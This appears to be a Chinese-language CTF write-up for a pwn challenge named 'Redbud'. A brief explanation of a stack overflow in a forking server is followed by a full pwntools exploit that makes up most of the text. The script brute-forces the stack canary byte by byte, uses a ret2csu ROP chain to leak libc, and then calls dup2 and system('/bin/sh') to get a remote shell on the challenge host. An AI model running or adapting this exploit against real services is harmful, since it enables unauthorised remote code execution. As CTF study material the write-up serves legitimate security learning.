Redbud
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
在程序的主功能函数里,存在一个明显的栈溢出,由于没有开启PIE,我们很容易做ROP。并且这是一个服务器程序,通过fork子进程来处理我们的请求,因此canary的值我们可以逐字节爆破。因为只要父进程没有重新启动,canary的值就不会变化,这题和cnss那题是一个道理。
那么,我们直接上exp脚本
#coding:utf8
from pwn import *
from LibcSearcher import *
context.log_level = 'critical'
elf = ELF('./redbud')
write_got = elf.got['write']
csu_pop = 0x403F6A
csu_call = 0x403F50
pop_rdi = 0x403F73
#pop rsi;pop r15;ret
pop_rsi = 0x403F71
#socket建立的文件描述符
fd = 4
def init_connection():
global sh
#sh = remote('127.0.0.1',1337)
sh = remote('111.198.29.45',32664)
def stackoverflow(payload):
sh.send('RPCM')
sh.send(p32(len(payload) + 12,endian = 'big'))
sh.send(p32(4,endian = 'big'))
sh.send(payload)
init_connection()
#爆破canary
canary = ''
while len(canary) < 8:
for x in range(0xFF):
init_connection()
stackoverflow('a'*0x1008 + canary + p8(x))
try:
sh.recvuntil('RPCN')
sh.recv(8)
except:
sh.close()
continue
canary += p8(x)
print 'canary=',canary
break;
canary = u64(canary)
print 'canary=',hex(canary)
rop = p64(csu_pop)
#rbx,rbp
rop += p64(0) + p64(1)
#r12
rop += p64(write_got)
#r13 r14 r15
rop += p64(0x8) + p64(write_got) + p64(fd)
rop += p64(csu_call)
payload = 'a'*0x1008 + p64(canary) + 'a'*0x28 + rop
init_connection()
stackoverflow(payload)
#泄露write函数地址
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
dup2_addr = libc_base + libc.dump('dup2')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)
#getshell
#dup2(fd,0)
rop = p64(pop_rdi) + p64(fd) + p64(pop_rsi) + p64(0) * 2 + p64(dup2_addr)
#dup2(fd,1)
rop += p64(pop_rdi) + p64(fd) + p64(pop_rsi) + p64(1) * 2 + p64(dup2_addr)
#system('/bin/sh')
rop += p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
payload = 'a'*0x1008 + p64(canary) + 'a'*0x28 + rop
init_connection()
stackoverflow(payload)
sh.interactive()